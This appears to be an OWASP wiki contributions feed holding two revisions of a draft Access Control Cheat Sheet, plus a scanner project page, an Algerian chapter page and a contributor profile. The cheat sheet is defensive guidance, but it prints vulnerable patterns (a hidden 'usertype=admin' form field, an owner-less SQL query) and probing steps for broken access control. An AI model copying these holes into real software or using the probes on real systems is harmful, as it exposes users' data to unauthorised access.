'''Role Based Access Control (RBAC)''' is commonly used to manage permissions within an application. Permissions are assigned to users in a many to many relationship.&lt;br /&gt;
&lt;br /&gt;
'''Discretioinary Access Control (DAC)''' is commonly used to manage permissions within an operating system.&lt;br /&gt;
&lt;br /&gt;
'''Mandatory Access Control (MAC)''' is a classification based system of objects and subjects. To &amp;quot;write up&amp;quot;, a subject's clearance level must be dominated by the object being written to the system. To &amp;quot;read down&amp;quot;, a subject's clearance level must govern the security level of the object being read. In this system, a subject may be able to write to an object, but will never be able to read it. This prevents malicious software from being able to leak data from different classification levels.  &amp;quot;Write up&amp;quot; prevents leakage from high to low. &lt;br /&gt;
(See the [http://csrc.nist.gov/publications/history/dod85.pdf Orange Book] for more information about classification levels and confidentiality controls in &amp;quot;DAC&amp;quot; and &amp;quot;MAC&amp;quot;.)&lt;br /&gt;
&lt;br /&gt;
=Attacks on Access Control=&lt;br /&gt;
&lt;br /&gt;
Vertical Access Control Attacks - A standard user accessing administration functionality&lt;br /&gt;
&lt;br /&gt;
Horizontal Access Control attacks - Same role, but accessing another user's private data&lt;br /&gt;
&lt;br /&gt;
Business Logic Access Control Attacks - Abuse of one or more linked activities that collectively realize a business objective&lt;br /&gt;
&lt;br /&gt;
=Access Control Issues=&lt;br /&gt;
*Many applications used the &amp;quot;All or Nothing&amp;quot; approach - Once authenticated, all users have equal privileges&lt;br /&gt;
&lt;br /&gt;
*Authorization Logic often relies on Security by Obscurity (STO) by assuming:&lt;br /&gt;
**Users will not find unlinked or hidden paths or functionality&lt;br /&gt;
**Users will not find and tamper with &amp;quot;obscured&amp;quot; client side parameters (i.e. &amp;quot;hidden&amp;quot; form fields, cookies, etc.)&lt;br /&gt;
	&lt;br /&gt;
*Applications with multiple permission levels/roles often increases the possibility of conflicting permission sets resulting in unanticipated privileges&lt;br /&gt;
&lt;br /&gt;
*Many administrative interfaces require only a password for authentication&lt;br /&gt;
*Shared accounts combined with a lack of auditing and logging make it extremely difficult to differentiate between malicious and honest administrators&lt;br /&gt;
*Administrative interfaces are often not designed as “secure” as user-level interfaces given the assumption that administrators are trusted users&lt;br /&gt;
*Authorization/Access Control relies on client-side information (e.g., hidden fields)&lt;br /&gt;
*Web and application server processes run as root, Administrator, LOCALSYSTEM or other privileged accounts&lt;br /&gt;
*Some web applications access the database via sa or other administrative account (or more privileges than required)&lt;br /&gt;
*Some applications implement authorization controls by including a file or web control or code snippet on every page in the application&lt;br /&gt;
	&lt;br /&gt;
     &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;fname&amp;quot; value=&amp;quot;Derek&amp;quot;&amp;gt;&lt;br /&gt;
     &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;lname&amp;quot; value=&amp;quot;Jeter&amp;quot;&amp;gt;&lt;br /&gt;
     &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;usertype&amp;quot; value=&amp;quot;admin&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Access Control Anti-Patterns=&lt;br /&gt;
&lt;br /&gt;
*Hard-coded role checks in application code&lt;br /&gt;
*Lack of centralized access control logic&lt;br /&gt;
*Untrusted data driving access control decisions&lt;br /&gt;
*Access control that is &amp;quot;open by default&amp;quot;&lt;br /&gt;
*Lack of addressing horizontal access control in a standardized way (if at all)&lt;br /&gt;
*Access control logic that needs to be manually added to every endpoint in code&lt;br /&gt;
*non-anonymous entry point DO NOT have an access control check&lt;br /&gt;
*No authorization check at or near the beginning of code implementing sensitive activities&lt;br /&gt;
&lt;br /&gt;
==Hard Coded Roles==&lt;br /&gt;
&lt;br /&gt;
  if (user.isManager() ||&lt;br /&gt;
      user.isAdministrator() ||&lt;br /&gt;
      user.isEditor() ||&lt;br /&gt;
      user.isUser()) {&lt;br /&gt;
      //execute action&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
'''Hard Codes Roles can create several issues including:'''&lt;br /&gt;
&lt;br /&gt;
*Making the policy of an application difficult to &amp;quot;prove&amp;quot; for audit or Q/A purposes &lt;br /&gt;
*Causing new code to be pushed each time an access control policy needs to be changed. &lt;br /&gt;
*They are fragile and easy to make mistakes&lt;br /&gt;
&lt;br /&gt;
==Order Specific Operations==&lt;br /&gt;
&lt;br /&gt;
Imagine the following parameters&lt;br /&gt;
&lt;br /&gt;
  http://example.com/buy?action=chooseDataPackage&lt;br /&gt;
  http://example.com/buy?action=customizePackage&lt;br /&gt;
  http://example.com/buy?action=makePayment&lt;br /&gt;
  http://example.com/buy?action=downloadData&lt;br /&gt;
&lt;br /&gt;
'''Can an attacker control the sequence?'''&lt;br /&gt;
&lt;br /&gt;
'''Can an attacker abuse this with concurency?'''&lt;br /&gt;
&lt;br /&gt;
==Never Depend on Untrusted Data==&lt;br /&gt;
&lt;br /&gt;
*Never trust user data for access control decisions&lt;br /&gt;
*Never make access control decisions in JavaScript&lt;br /&gt;
*Never depend on the order of values sent from the client&lt;br /&gt;
*Never make authorization decisions based solely on&lt;br /&gt;
**hidden fields&lt;br /&gt;
**cookie values&lt;br /&gt;
**form parameters&lt;br /&gt;
**URL parameters&lt;br /&gt;
**anything else from the request&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Attacking Access Controls=&lt;br /&gt;
&lt;br /&gt;
*Elevation of privileges&lt;br /&gt;
*Disclosure of confidential data - Compromising admin-level accounts often result in access to a user's confidential data&lt;br /&gt;
*Data tampering - Privilege levels do not distinguish users who can only view data and users permitted to modify data&lt;br /&gt;
&lt;br /&gt;
=Testing for Broken Access Control=&lt;br /&gt;
&lt;br /&gt;
*Attempt to access administrative components or functions as an anonymous or regular user&lt;br /&gt;
**Scour HTML source for “interesting” hidden form fields&lt;br /&gt;
**Test web accessible directory structure for names like admin, administrator, manager, etc (i.e. attempt to directly browse to “restricted” areas)&lt;br /&gt;
*Determine how administrators are authenticated. Ensure that adequate authentication is used and enforced&lt;br /&gt;
*For each user role, ensure that only the appropriate pages or components are accessible for that role.&lt;br /&gt;
*Login as a low-level user, browse history for a higher level user’s cache, load the page to see if the original authorization is passed to a previous session.&lt;br /&gt;
*If able to compromise administrator-level account, test for all other common web application vulnerabilities (poor input validation, privileged database access, etc)&lt;br /&gt;
&lt;br /&gt;
=Defenses Against Access Control Attacks=&lt;br /&gt;
&lt;br /&gt;
*Implement role based access control to assign permissions to application users for vertical access control requirements&lt;br /&gt;
*Implement data-contextual access control to assign permissions to application users in the context of specific data items for horizontal access control requirements&lt;br /&gt;
*Avoid assigning permissions on a per-user basis&lt;br /&gt;
*Perform consistent authorization checking routines on all application pages&lt;br /&gt;
*Where applicable, apply DENY privileges last, issue ALLOW privileges on a case-by-case basis&lt;br /&gt;
*Where possible restrict administrator access to machines located on the local area network (i.e. it’s best to avoid remote administrator access from public facing access points)&lt;br /&gt;
*Log all failed access authorization requests to a secure location for review by administrators&lt;br /&gt;
*Perform reviews of failed login attempts on a periodic basis&lt;br /&gt;
*Utilize the strengths and functionality provided by the SSO solution you chose&lt;br /&gt;
&lt;br /&gt;
'''Java'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
if ( authenticated ) {&lt;br /&gt;
&lt;br /&gt;
	request.getSession(true).setValue(“AUTHLEVEL”) = X_USER;&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''.NET (C#)'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
if ( authenticated ) {&lt;br /&gt;
&lt;br /&gt;
	Session[“AUTHLEVEL”] = X_USER;&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''PHP'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
if ( authenticated ) {&lt;br /&gt;
&lt;br /&gt;
	$_SESSION[‘authlevel’] = X_USER; 	// X_USER is defined elsewhere as meaning, the user is authorized&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Best Practices=&lt;br /&gt;
&lt;br /&gt;
==Best Practice: Code to the Activity==&lt;br /&gt;
&lt;br /&gt;
   if (AC.hasAccess(ARTICLE_EDIT)) {&lt;br /&gt;
       //execute activity&lt;br /&gt;
   }&lt;br /&gt;
*Code it once, never needs to change again&lt;br /&gt;
*Implies policy is persisted/centralized in some way&lt;br /&gt;
*Avoid assigning permissions on a per-user basis&lt;br /&gt;
*Requires more design/work up front to get right&lt;br /&gt;
&lt;br /&gt;
==Best Practice: Centralized ACL Controller==&lt;br /&gt;
&lt;br /&gt;
*Define a centralized access controller&lt;br /&gt;
      ACLService.isAuthorized(ACTION_CONSTANT)&lt;br /&gt;
      ACLService.assertAuthorized(ACTION_CONSTANT)&lt;br /&gt;
*Access control decisions go through these simple API’s&lt;br /&gt;
*Centralized logic to drive policy behavior and persistence&lt;br /&gt;
*May contain data-driven access control policy information&lt;br /&gt;
*Policy language needs to support ability to express both access rights and prohibitions&lt;br /&gt;
&lt;br /&gt;
==Best Practice: Using a Centralized Access Controller==&lt;br /&gt;
&lt;br /&gt;
*In Presentation Layer&lt;br /&gt;
&lt;br /&gt;
       if (isAuthorized(VIEW_LOG_PANEL))&lt;br /&gt;
       {&lt;br /&gt;
          Here are the logs&lt;br /&gt;
          &amp;lt;%=getLogs();%/&amp;gt;&lt;br /&gt;
       }&lt;br /&gt;
	&lt;br /&gt;
*In Controller&lt;br /&gt;
&lt;br /&gt;
       try (assertAuthorized(DELETE_USER))&lt;br /&gt;
       {&lt;br /&gt;
          deleteUser();&lt;br /&gt;
       }&lt;br /&gt;
&lt;br /&gt;
==Best Practice: Verifying policy server-side==&lt;br /&gt;
&lt;br /&gt;
*Keep user identity verification in session&lt;br /&gt;
*Load entitlements server side from trusted sources&lt;br /&gt;
*Force authorization checks on ALL requests&lt;br /&gt;
**JS file, image, AJAX and FLASH requests as well!&lt;br /&gt;
**Force this check using a filter if possible&lt;br /&gt;
&lt;br /&gt;
=SQL Integrated Access Control=&lt;br /&gt;
&lt;br /&gt;
'''Example Feature'''&lt;br /&gt;
&lt;br /&gt;
    http://mail.example.com/viewMessage?msgid=2356342&lt;br /&gt;
&lt;br /&gt;
'''This SQL would be vulnerable to tampering'''&lt;br /&gt;
&lt;br /&gt;
  select * from messages where messageid = 2356342&lt;br /&gt;
&lt;br /&gt;
'''Ensure the owner is referenced in the query!'''&lt;br /&gt;
&lt;br /&gt;
  select * from messages where messageid = 2356342 AND messages.message_owner = &lt;br /&gt;
&lt;br /&gt;
=Access Control Positive Patterns=&lt;br /&gt;
&lt;br /&gt;
*Code to the activity, not the role&lt;br /&gt;
*Centralize access control logic&lt;br /&gt;
*Design access control as a filter&lt;br /&gt;
*Deny by default, fail securely&lt;br /&gt;
*Build centralized access control mechanism&lt;br /&gt;
*Apply same core logic to presentation and server-side access control decisions&lt;br /&gt;
*Determine access control through Server-side trusted data&lt;br /&gt;
&lt;br /&gt;
=Data Contextual Access Control=&lt;br /&gt;
&lt;br /&gt;
'''Data Contextual / Horizontal Access Control API examples'''&lt;br /&gt;
&lt;br /&gt;
    ACLService.isAuthorized(EDIT_ORG, 142)&lt;br /&gt;
    ACLService.assertAuthorized(VIEW_ORG, 900)&lt;br /&gt;
&lt;br /&gt;
Long Form&lt;br /&gt;
&lt;br /&gt;
    isAuthorized(user, EDIT_ORG, Organization.class, 14)&lt;br /&gt;
	&lt;br /&gt;
*Essentially checking if the user has the right role in the context of a specific object&lt;br /&gt;
*Centralize access control logic&lt;br /&gt;
*Protecting data at the lowest level!&lt;br /&gt;
&lt;br /&gt;
= Related Articles  =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
=Authors and Primary Editors=&lt;br /&gt;
&lt;br /&gt;
Jim Manico - jim [at] owasp dot org&lt;br /&gt;
Fred Donovan - fred.donovan [at] owasp dot org&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Access_Control_Cheat_Sheet&amp;diff=143304</id>
		<title>Access Control Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Access_Control_Cheat_Sheet&amp;diff=143304"/>
				<updated>2013-02-02T15:50:19Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
=Introduction=&lt;br /&gt;
&lt;br /&gt;
This article is focused on providing clear, simple, actionable guidance for providing Access Control security in your applications.&lt;br /&gt;
&lt;br /&gt;
==What is Access Control / Authorization?==&lt;br /&gt;
&lt;br /&gt;
Authorization is the process where requests to access a particular resource should be granted or denied. It should be noted that authorization is not equivalent to authentication - as these terms and their defininitions are frequently confused.&lt;br /&gt;
&lt;br /&gt;
Access Control is the method or mechanism of authorization to enfore that requests to a system resource or functionality should be granted.&lt;br /&gt;
&lt;br /&gt;
'''Role Based Access Control (RBAC)''' is commonly used to manage permissions within an application. Permissions are assigned to users in a many to many relationship.&lt;br /&gt;
&lt;br /&gt;
'''Discretioinary Access Control (DAC)''' is commonly used to manage permissions within an operating system.&lt;br /&gt;
&lt;br /&gt;
'''Mandatory Access Control (MAC)''' is a classification based system of objects and subjects. To &amp;quot;write up&amp;quot;, a subject's clearance level must be dominated by the object being written to the system. To &amp;quot;read down&amp;quot;, a subject's clearance level must govern the security level of the object being read. In this system, a subject may be able to write to an object, but will never be able to read it. This prevents malicious software from being able to leak data from different classification levels.  &amp;quot;Write up&amp;quot; prevents leakage from high to low. &lt;br /&gt;
(See the [http://csrc.nist.gov/publications/history/dod85.pdf Orange Book] for more information about classification levels and confidentiality controls in &amp;quot;DAC&amp;quot; and &amp;quot;MAC&amp;quot;.)&lt;br /&gt;
&lt;br /&gt;
=Attacks on Access Control=&lt;br /&gt;
&lt;br /&gt;
Vertical Access Control Attacks - A standard user accessing administration functionality&lt;br /&gt;
&lt;br /&gt;
Horizontal Access Control attacks - Same role, but accessing another user's private data&lt;br /&gt;
&lt;br /&gt;
Business Logic Access Control Attacks - Abuse of one or more linked activities that collectively realize a business objective&lt;br /&gt;
&lt;br /&gt;
=Access Control Issues=&lt;br /&gt;
*Many applications used the &amp;quot;All or Nothing&amp;quot; approach - Once authenticated, all users have equal privileges&lt;br /&gt;
&lt;br /&gt;
*Authorization Logic often relies on Security by Obscurity (STO) by assuming:&lt;br /&gt;
**Users will not find unlinked or hidden paths or functionality&lt;br /&gt;
**Users will not find and tamper with &amp;quot;obscured&amp;quot; client side parameters (i.e. &amp;quot;hidden&amp;quot; form fields, cookies, etc.)&lt;br /&gt;
	&lt;br /&gt;
*Applications with multiple permission levels/roles often increases the possibility of conflicting permission sets resulting in unanticipated privileges&lt;br /&gt;
&lt;br /&gt;
*Many administrative interfaces require only a password for authentication&lt;br /&gt;
*Shared accounts combined with a lack of auditing and logging make it extremely difficult to differentiate between malicious and honest administrators&lt;br /&gt;
*Administrative interfaces are often not designed as “secure” as user-level interfaces given the assumption that administrators are trusted users&lt;br /&gt;
*Authorization/Access Control relies on client-side information (e.g., hidden fields)&lt;br /&gt;
*Web and application server processes run as root, Administrator, LOCALSYSTEM or other privileged accounts&lt;br /&gt;
*Some web applications access the database via sa or other administrative account (or more privileges than required)&lt;br /&gt;
*Some applications implement authorization controls by including a file or web control or code snippet on every page in the application&lt;br /&gt;
	&lt;br /&gt;
     &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;fname&amp;quot; value=&amp;quot;Derek&amp;quot;&amp;gt;&lt;br /&gt;
     &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;lname&amp;quot; value=&amp;quot;Jeter&amp;quot;&amp;gt;&lt;br /&gt;
     &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;usertype&amp;quot; value=&amp;quot;admin&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Access Control Anti-Patterns=&lt;br /&gt;
&lt;br /&gt;
*Hard-coded role checks in application code&lt;br /&gt;
*Lack of centralized access control logic&lt;br /&gt;
*Untrusted data driving access control decisions&lt;br /&gt;
*Access control that is &amp;quot;open by default&amp;quot;&lt;br /&gt;
*Lack of addressing horizontal access control in a standardized way (if at all)&lt;br /&gt;
*Access control logic that needs to be manually added to every endpoint in code&lt;br /&gt;
*non-anonymous entry point DO NOT have an access control check&lt;br /&gt;
*No authorization check at or near the beginning of code implementing sensitive activities&lt;br /&gt;
&lt;br /&gt;
==Hard Coded Roles==&lt;br /&gt;
&lt;br /&gt;
  if (user.isManager() ||&lt;br /&gt;
      user.isAdministrator() ||&lt;br /&gt;
      user.isEditor() ||&lt;br /&gt;
      user.isUser()) {&lt;br /&gt;
      //execute action&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
'''Hard Codes Roles can create several issues including:'''&lt;br /&gt;
&lt;br /&gt;
*Making the policy of an application difficult to &amp;quot;prove&amp;quot; for audit or Q/A purposes &lt;br /&gt;
*Causing new code to be pushed each time an access control policy needs to be changed. &lt;br /&gt;
*They are fragile and easy to make mistakes&lt;br /&gt;
&lt;br /&gt;
==Order Specific Operations==&lt;br /&gt;
&lt;br /&gt;
Imagine the following parameters&lt;br /&gt;
&lt;br /&gt;
  http://example.com/buy?action=chooseDataPackage&lt;br /&gt;
  http://example.com/buy?action=customizePackage&lt;br /&gt;
  http://example.com/buy?action=makePayment&lt;br /&gt;
  http://example.com/buy?action=downloadData&lt;br /&gt;
&lt;br /&gt;
'''Can an attacker control the sequence?'''&lt;br /&gt;
&lt;br /&gt;
'''Can an attacker abuse this with concurency?'''&lt;br /&gt;
&lt;br /&gt;
==Never Depend on Untrusted Data==&lt;br /&gt;
&lt;br /&gt;
*Never trust user data for access control decisions&lt;br /&gt;
*Never make access control decisions in JavaScript&lt;br /&gt;
*Never depend on the order of values sent from the client&lt;br /&gt;
*Never make authorization decisions based solely on&lt;br /&gt;
**hidden fields&lt;br /&gt;
**cookie values&lt;br /&gt;
**form parameters&lt;br /&gt;
**URL parameters&lt;br /&gt;
**anything else from the request&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Attacking Access Controls=&lt;br /&gt;
&lt;br /&gt;
*Elevation of privileges&lt;br /&gt;
*Disclosure of confidential data - Compromising admin-level accounts often result in access to a user's confidential data&lt;br /&gt;
*Data tampering - Privilege levels do not distinguish users who can only view data and users permitted to modify data&lt;br /&gt;
&lt;br /&gt;
=Testing for Broken Access Control=&lt;br /&gt;
&lt;br /&gt;
*Attempt to access administrative components or functions as an anonymous or regular user&lt;br /&gt;
**Scour HTML source for “interesting” hidden form fields&lt;br /&gt;
**Test web accessible directory structure for names like admin, administrator, manager, etc (i.e. attempt to directly browse to “restricted” areas)&lt;br /&gt;
*Determine how administrators are authenticated. Ensure that adequate authentication is used and enforced&lt;br /&gt;
*For each user role, ensure that only the appropriate pages or components are accessible for that role.&lt;br /&gt;
*Login as a low-level user, browse history for a higher level user’s cache, load the page to see if the original authorization is passed to a previous session.&lt;br /&gt;
*If able to compromise administrator-level account, test for all other common web application vulnerabilities (poor input validation, privileged database access, etc)&lt;br /&gt;
&lt;br /&gt;
=Defenses Against Access Control Attacks=&lt;br /&gt;
&lt;br /&gt;
*Implement role based access control to assign permissions to application users for vertical access control requirements&lt;br /&gt;
*Implement data-contextual access control to assign permissions to application users in the context of specific data items for horizontal access control requirements&lt;br /&gt;
*Avoid assigning permissions on a per-user basis&lt;br /&gt;
*Perform consistent authorization checking routines on all application pages&lt;br /&gt;
*Where applicable, apply DENY privileges last, issue ALLOW privileges on a case-by-case basis&lt;br /&gt;
*Where possible restrict administrator access to machines located on the local area network (i.e. it’s best to avoid remote administrator access from public facing access points)&lt;br /&gt;
*Log all failed access authorization requests to a secure location for review by administrators&lt;br /&gt;
*Perform reviews of failed login attempts on a periodic basis&lt;br /&gt;
*Utilize the strengths and functionality provided by the SSO solution you chose&lt;br /&gt;
&lt;br /&gt;
=Best Practices=&lt;br /&gt;
&lt;br /&gt;
==Best Practice: Code to the Activity==&lt;br /&gt;
&lt;br /&gt;
   if (AC.hasAccess(ARTICLE_EDIT)) {&lt;br /&gt;
       //execute activity&lt;br /&gt;
   }&lt;br /&gt;
*Code it once, never needs to change again&lt;br /&gt;
*Implies policy is persisted/centralized in some way&lt;br /&gt;
*Avoid assigning permissions on a per-user basis&lt;br /&gt;
*Requires more design/work up front to get right&lt;br /&gt;
&lt;br /&gt;
==Best Practice: Centralized ACL Controller==&lt;br /&gt;
&lt;br /&gt;
*Define a centralized access controller&lt;br /&gt;
      ACLService.isAuthorized(ACTION_CONSTANT)&lt;br /&gt;
      ACLService.assertAuthorized(ACTION_CONSTANT)&lt;br /&gt;
*Access control decisions go through these simple API’s&lt;br /&gt;
*Centralized logic to drive policy behavior and persistence&lt;br /&gt;
*May contain data-driven access control policy information&lt;br /&gt;
*Policy language needs to support ability to express both access rights and prohibitions&lt;br /&gt;
&lt;br /&gt;
==Best Practice: Using a Centralized Access Controller==&lt;br /&gt;
&lt;br /&gt;
*In Presentation Layer&lt;br /&gt;
&lt;br /&gt;
       if (isAuthorized(VIEW_LOG_PANEL))&lt;br /&gt;
       {&lt;br /&gt;
          Here are the logs&lt;br /&gt;
          &amp;lt;%=getLogs();%/&amp;gt;&lt;br /&gt;
       }&lt;br /&gt;
	&lt;br /&gt;
*In Controller&lt;br /&gt;
&lt;br /&gt;
       try (assertAuthorized(DELETE_USER))&lt;br /&gt;
       {&lt;br /&gt;
          deleteUser();&lt;br /&gt;
       }&lt;br /&gt;
&lt;br /&gt;
==Best Practice: Verifying policy server-side==&lt;br /&gt;
&lt;br /&gt;
*Keep user identity verification in session&lt;br /&gt;
*Load entitlements server side from trusted sources&lt;br /&gt;
*Force authorization checks on ALL requests&lt;br /&gt;
**JS file, image, AJAX and FLASH requests as well!&lt;br /&gt;
**Force this check using a filter if possible&lt;br /&gt;
&lt;br /&gt;
=SQL Integrated Access Control=&lt;br /&gt;
&lt;br /&gt;
'''Example Feature'''&lt;br /&gt;
&lt;br /&gt;
    http://mail.example.com/viewMessage?msgid=2356342&lt;br /&gt;
&lt;br /&gt;
'''This SQL would be vulnerable to tampering'''&lt;br /&gt;
&lt;br /&gt;
  select * from messages where messageid = 2356342&lt;br /&gt;
&lt;br /&gt;
'''Ensure the owner is referenced in the query!'''&lt;br /&gt;
&lt;br /&gt;
  select * from messages where messageid = 2356342 AND messages.message_owner = &lt;br /&gt;
&lt;br /&gt;
=Access Control Positive Patterns=&lt;br /&gt;
&lt;br /&gt;
*Code to the activity, not the role&lt;br /&gt;
*Centralize access control logic&lt;br /&gt;
*Design access control as a filter&lt;br /&gt;
*Deny by default, fail securely&lt;br /&gt;
*Build centralized access control mechanism&lt;br /&gt;
*Apply same core logic to presentation and server-side access control decisions&lt;br /&gt;
*Determine access control through Server-side trusted data&lt;br /&gt;
&lt;br /&gt;
=Data Contextual Access Control=&lt;br /&gt;
&lt;br /&gt;
'''Data Contextual / Horizontal Access Control API examples'''&lt;br /&gt;
&lt;br /&gt;
    ACLService.isAuthorized(EDIT_ORG, 142)&lt;br /&gt;
    ACLService.assertAuthorized(VIEW_ORG, 900)&lt;br /&gt;
&lt;br /&gt;
Long Form&lt;br /&gt;
&lt;br /&gt;
    isAuthorized(user, EDIT_ORG, Organization.class, 14)&lt;br /&gt;
	&lt;br /&gt;
*Essentially checking if the user has the right role in the context of a specific object&lt;br /&gt;
*Centralize access control logic&lt;br /&gt;
*Protecting data at the lowest level!&lt;br /&gt;
&lt;br /&gt;
= Related Articles  =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
=Authors and Primary Editors=&lt;br /&gt;
&lt;br /&gt;
Jim Manico - jim [at] owasp dot org&lt;br /&gt;
Fred Donovan - fred.donovan [at] owasp dot org&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Odz_MultiCMSScanner&amp;diff=135904</id>
		<title>OWASP Odz MultiCMSScanner</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Odz_MultiCMSScanner&amp;diff=135904"/>
				<updated>2012-09-15T17:32:49Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Social Media Links}}&lt;br /&gt;
{{Template: &amp;lt;includeonly&amp;gt;{{{1}}}&amp;lt;/includeonly&amp;gt;&amp;lt;noinclude&amp;gt;Project About&amp;lt;/noinclude&amp;gt;&lt;br /&gt;
| project_name = OWASP Odz MultiCMSScanner&lt;br /&gt;
| project_home_page = OWASP Odz MultiCMSScanner&lt;br /&gt;
&lt;br /&gt;
| project_name = OWASP Odz MultiCMSScanner&lt;br /&gt;
| project_mailing_list = https://lists.owasp.org/mailman/listinfo/odz_multicmsscanner&lt;br /&gt;
| release_date = April 2, 2012&lt;br /&gt;
| project_description = This project was released to make CMS security tests easier and quicker&lt;br /&gt;
| project_license = [https://sourceforge.net/directory/license:osi-approved-open-source/gnu-general-public-license-version-2.0-gplv2/ GNU General Public License version 2.0 (GPLv2)] &lt;br /&gt;
| mailing_list_name =  https://lists.owasp.org/mailman/listinfo/odz_multicmsscanner&lt;br /&gt;
| release_1 = https://www.owasp.org/index.php/Projects/OWASP_Odz_MultiCMSScanner/Releases/Current&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
| leader_name1 = Mennouchi Islam Azeddine&lt;br /&gt;
| leader_email1 = azeddine.mennouchi@owasp.org&lt;br /&gt;
| leader_username1 = Islam_Azeddine_Mennouchi&lt;br /&gt;
 &lt;br /&gt;
| contributor_name1 = Khaled Anseur&lt;br /&gt;
| contributor_email1 = ked-h@hotmail.com&lt;br /&gt;
| contributor_username1 = &lt;br /&gt;
&lt;br /&gt;
| release_notes = https://sourceforge.net/projects/odz/&lt;br /&gt;
&lt;br /&gt;
| links_url[1-10] =&lt;br /&gt;
| links_name[1-10] =&lt;br /&gt;
}}&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Algeria&amp;diff=135687</id>
		<title>Algeria</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Algeria&amp;diff=135687"/>
				<updated>2012-09-12T09:41:19Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
= News =&lt;br /&gt;
{{Chapter Template|chaptername=Algeria|extra=The chapter leader is [mailto:azeddine.mennouchi@owasp.org Mennouchi Islam Azeddine].|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-algeria|emailarchives=http://lists.owasp.org/pipermail/owasp-algeria}}&lt;br /&gt;
&lt;br /&gt;
'''The Algerian Chapter is also available on [[Facebook]] : [http://www.facebook.com/pages/Owasp-Algeria/287791794601341#!/pages/Owasp-Algeria/287791794601341 Join us !]'''&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
'''New Student Chapter : [https://www.owasp.org/index.php/OWASP_Algeria_Student_Chapter Algeria Student Chapter officially founded !]'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Meeting Location'''&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
= Projects =&lt;br /&gt;
[[OWASP Odz MultiCMSScanner]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Africa]]&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Islam_Azeddine_Mennouchi&amp;diff=135458</id>
		<title>User:Islam Azeddine Mennouchi</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Islam_Azeddine_Mennouchi&amp;diff=135458"/>
				<updated>2012-09-07T12:54:44Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Mennouchi Islam Azeddine Student of Computer Science in Algeria&lt;br /&gt;
&lt;br /&gt;
== Professional Details  ==&lt;br /&gt;
* Founder and CEO of Way4Com&lt;br /&gt;
* Founder Of DzGaNg Hacking and security&lt;br /&gt;
* Teacher and contributor at Hacking-Lab&lt;br /&gt;
* Security Free Lancer&lt;br /&gt;
* Owasp Algeria Chapter Leader  &lt;br /&gt;
* Pentester at NetBeOpen&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Contact Details ==&lt;br /&gt;
Facebook : [http://www.facebook.com/islamoc Mennouchi Islam Azeddine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
emails : &lt;br /&gt;
         islamoc@gmail.com&lt;br /&gt;
         admin@dzgang.info&lt;br /&gt;
         admin@way4com.com&lt;br /&gt;
         azeddine.mennouchi@owasp.org&lt;br /&gt;
         ai_mennouchi@esi.dz&lt;br /&gt;
